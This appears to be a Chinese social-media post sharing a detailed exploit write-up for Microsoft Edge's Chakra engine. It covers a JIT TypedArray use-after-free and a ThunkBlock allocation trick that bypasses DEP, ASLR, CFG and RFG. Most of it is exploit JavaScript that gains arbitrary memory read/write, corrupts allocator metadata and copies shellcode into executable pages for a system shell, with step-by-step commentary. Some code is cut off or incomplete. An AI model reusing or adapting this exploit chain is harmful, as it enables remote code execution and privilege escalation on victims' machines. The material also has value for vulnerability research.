大兔子袁哥
23-03-31 11:05

这些DVE的漏洞利用方法真的是太经典了,以前很多人错误的理解成修改safemod的标志的利用办法是DVE,这个修补了就DVE就不行了。其实DVE是脚本成了shellcode,脚本可以控制一切,对于那些防护措施是“上帝之手”。这个利用代码很好的诠释了这一点,认为DVE只能修改一点点数据的,可以看看这个脚本代码,实际上是可以控制、操控edge的整个行为,这就是上帝的视角和能力。

bypassdep+aslr+cfg+rfg.docx

前面文章附的文档的中文版本
刚发现了这个中文版本和没有隐藏一些漏洞利用代码的说明文章,里面也有一些漏洞利用稳定性的技巧,我们的漏洞利用一直比较追求完美,利用成功率和稳定性就是一个重要考虑因素。不知道大家能看得出来不。

1: about the vulnerability

// Typedarray uaf

// typearray does not check whether the arraybuffer has been detached in the loopbody.

var buffer = new ArrayBuffer(0x10000);

var view = new Uint32Array(buffer);

write(0,0x4000,1,0x1234); // Generate JIT vulnerability code

var worker = new Worker('arr.js');

worker.postMessage(buffer,[buffer]);

worker.terminate(); // detached ArrayBuffer and free up space

sleep(400); // Waiting for release to complete

for(var i=0;i<0x1000;i+=1)

{

arr[i]=new Array(0x800);

arr[i][1]=25959;

arr[i][0]=0; // Placeholder int array seg

write(0x0e,0x00010,0x1000,1851880825) // Uaf write arr [i] [0] position if(arr[i][0]==1851880825) // Check for success

{

ok=1;

arr[i+1]=new Array(0x400);

arr[i+1][1]=buffer;

arr[i+1][0]=0; // Int array seg followed by a var array seg

getarrint(i); // Modify the int array seg through the vulnerability

fakeview(); // Fake Uint32Array implementation any read write bypassdepcfgrfg1();

break;

}

}

function write(begin,end,step,num)

{

for(var i=begin;i
}

// Vulnerability code, jit generated code in loopbody typearray access did not // check if arraybuffer was already detached

2: bypass dep+aslr+cfg+rfg

通常情况下,可以利用漏洞得到任意对象地址和任意地址读写。

通过控制chakra的Thunk分配代码流程,可以得到rwx+cfgjmp页面,然后可以拷贝shellcode到这页面,跳转去执行。

Under normal circumstances, you can use the vulnerability to get any object address and any address read and write.

By controlling chakra's Thunk allocation code flow, you can get rwx + cfgjmp page, and then you can copy shellcode to this page, jump to execute.

分配thunk,如果thunkCount=0,会重新分配ThunkBlock。

分配ThunkBlock流程:

(1)、 分配页面;

(2)、 页面属性修改为rwx

(3)、 填充ThunkCode

(4)、 注册异常处理

(5)、 页面属性修改为只可执行

(6)、 设置cfgjmp

(4)注册异常处理,如果出现错误,会抛出js异常,然后跳过了步骤5和6。

而如果(1)分配到的页面是已经分配过的ThunkBlock页面,最后注册异常处理会因为已经注册同样地址失败,这样这个ThunkBlock只执行(1)-(4)。

因为(2),ThunkBlock页面属性被修改成了rwx,但因为其本身已经设置cfgjmp,那么我们就得到了rwx和cfgjmp页面,实现bypass dep+aslr+cfg+rfg了。

源代码如下:

BYTE* InterpreterThunkEmitter::GetNextThunk(PVOID* ppDynamicInterpreterThunk)

{

if(thunkCount == 0)

{

NewThunkBlock();

}

return thunk;

}

void InterpreterThunkEmitter::NewThunkBlock()

{

allocation = emitBufferManager.AllocateBuffer(bufferSize, &buffer);

if (!emitBufferManager.ProtectBufferWithExecuteReadWriteForInterpreter(allocation))

{

Js::Throw::OutOfMemory();

}

FillBuffer(

this->scriptContext->GetThreadContext(),

this->isAsmInterpreterThunk,

(intptr_t)buffer,

BlockSize,

buffer,

&pdataStart,

&epilogEnd,

&count

);

PDataManager::RegisterPdata((PRUNTIME_FUNCTION) pdataStart, (ULONG_PTR) buffer, (ULONG_PTR) epilogEnd, &pdataTable);

if (!emitBufferManager.CommitReadWriteBufferForInterpreter(allocation, buffer,bufferSize))

{

Js::Throw::OutOfMemory();

}

// Call to set VALID flag for CFG check

ThreadContext::GetContextForCurrentThread()->SetValidCallTargetForCFG(buffer);

void PDataManager::RegisterPdata(RUNTIME_FUNCTION* pdataStart, _In_ const ULONG_PTR functionStart, _In_ const ULONG_PTR functionEnd, _Out_ PVOID* pdataTable, ULONG entryCount, ULONG maxEntryCount)

{

BOOLEAN success = FALSE;

if (AutoSystemInfo::Data.IsWin8OrLater())

{

Assert(pdataTable != NULL);

// Since we do not expect many thunk functions to be created, we are using 1 table/function

// for now. This can be optimized further if needed.

DWORD status = NtdllLibrary::Instance->AddGrowableFunctionTable(pdataTable,

pdataStart,

entryCount,

maxEntryCount,

/*RangeBase*/ functionStart,

/*RangeEnd*/ functionEnd);

success = NT_SUCCESS(status);

if (success)

{

Assert(pdataTable);

}

}

else

{

*pdataTable = pdataStart;

success = RtlAddFunctionTable(pdataStart, entryCount, functionStart);

}

Js::Throw::CheckAndThrowOutOfMemory(success);

}

如果 ThunkBlock 已经注册异常处理, AddGrowableFunctionTable 返回错误,Js::Throw::CheckAndThrowOutOfMemory(success)抛出 js异常。

页面分配,如果已经有ExistingPage,就取ExistingPage。

Allocation* Heap::Alloc(size_t bytes, ushort pdataCount, ushort xdataSize, bool canAllocInPreReservedHeapPageSegment, bool isAnyJittedCode, _Inout_ bool* isAllJITCodeInPreReservedRegion)

{

size_t bytesToAllocate = PowerOf2Policy::GetSize(bytes);

BucketId bucket = (BucketId) GetBucketForSize(bytesToAllocate);

do

{

Page* page = GetExistingPage(bucket, canAllocInPreReservedHeapPageSegment)

Allocation* allocation = nullptr;

if (AllocInPage(page, bytesToAllocate, pdataCount, xdataSize, &allocation))

{

return allocation;

}

} while (true);

}

Page * Heap::GetExistingPage(BucketId bucket, bool canAllocInPreReservedHeapPageSegment)

{

if (!this->buckets[bucket].Empty())

{

Assert(!this->buckets[bucket].Head().inFullList);

return &this->buckets[bucket].Head();

}

return FindPageToSplit(bucket, canAllocInPreReservedHeapPageSegment);

}

Bypass js代码如下:

function bypassdepcfgrfg1()

{

getshellcode();

fun=getobjadd(bypassdepcfgrfg1);

FunBody=readuint64(fun+0x28);

ScriptContext=readuint64(FunBody+0x28);

interpreterThunkEmitter=readuint64(ScriptContext+0x618);

readuint32(fun);

writeuint32(interpreterThunkEmitter+0x178,0);

shell();

writeuint32(interpreterThunkEmitter+0x178,0);

shell2();

allocationHeap=interpreterThunkEmitter+0x18;

buckets=allocationHeap+0x60;

fullPages=allocationHeap+0x60+0x70;

fullPage=readuint64(fullPages);

writeuint64(buckets, readuint64(fullPages));

writeuint64(buckets+8, readuint64(fullPages+8));

writeuint32(fullPage+0x20,0xffffffff);

writeuint32(interpreterThunkEmitter+0x178,0);

try{ test1();} catch(e){ }

writeuint32(fullPage+0x20,0xffffffff);

th=readuint64(fullPage+0x28);

writeuint64(fullPage+0x28, th-0x1000);

try{ test1();} catch(e){ }

shellcodeadd=getobjadd(getsystem);

shelladd=readuint64(shellcodeadd+0x20);

for(i=0;i<(getsystem.length*2);i+=4)

{

writeuint32(th-0x1000+i, readuint32(shelladd+i));

}

shell();

document.write("
get system shell ok!
");

}

fun=getobjadd(bypassdepcfgrfg1);

FunBody=readuint64(fun+0x28);

ScriptContext=readuint64(FunBody+0x28);

interpreterThunkEmitter=readuint64(ScriptContext+0x618);

通过function对象获取到interpreterThunkEmitter对象地址。

writeuint32(interpreterThunkEmitter+0x178,0);

shell();

writeuint32(interpreterThunkEmitter+0x178,0);

shell2();

设置thunkCount=0,重新分配ThunkBlock,重复2次获得2页ThunkBlock。

allocationHeap=interpreterThunkEmitter+0x18;

buckets=allocationHeap+0x60;

得到Bucket4096大小已经存在页面的存放地址

fullPages=allocationHeap+0x60+0x70;

fullPage=readuint64(fullPages);

得到shell2已经分配ThunkBlock的页面存放地址。

writeuint64(buckets, readuint64(fullPages));

writeuint64(buckets+8, readuint64(fullPages+8));

复制到Bucket4096的存放地址,让再分配ThunkBlock时调用GetExistingPage直接获得已经分配的页面。

writeuint32(fullPage+0x20,0xffffffff);

设置freebits位,全空闲,可以分配一页。

writeuint32(interpreterThunkEmitter+0x178,0);

再次设置thunkCount=0.

try{ test1();} catch(e){ }

分配ThunkBlock,因为分配到的ThunkBlock page是shell2的ThunkBlock page,(4)注册异常处理失败,抛处js异常,js code截获js异常。Shell2的ThunkBlock已经被修改成rwx属性。

writeuint32(fullPage+0x20,0xffffffff);

设置freebits位,全空闲,可以分配一页。

th=readuint64(fullPage+0x28);

获取页面地址,就是shell2的ThunkBlock,

writeuint64(fullPage+0x28, th-0x1000);

设置页面地址,指向shell的ThunkBlock。

try{ test1();} catch(e){ }

再次分配ThunkBlock,因为注册异常处理失败,Shell的ThunkBlock已经被设置成rwx属性。

因为shell本身的ThunkBlock 已经设置cfgjmp, 这样就有两页rwx属性的ThunkBlock,并且可cfgjmp。

shellcodeadd=getobjadd(getsystem);

shelladd=readuint64(shellcodeadd+0x20);

得到取得system权限的shellcode在内存中的地址

for(i=0;i<(getsystem.length*2);i+=4)

{

writeuint32(th-0x1000, readuint32(shelladd+i));

}

写shellcode到shel 和shell2的两页ThunkBlock

shell();

调用shell,跳转到shell的ThunkBlock执行,也就是跳转到shellcode 执行。

document.write("
get system shell ok!
");

显示调用内核提权成功

发布于 北京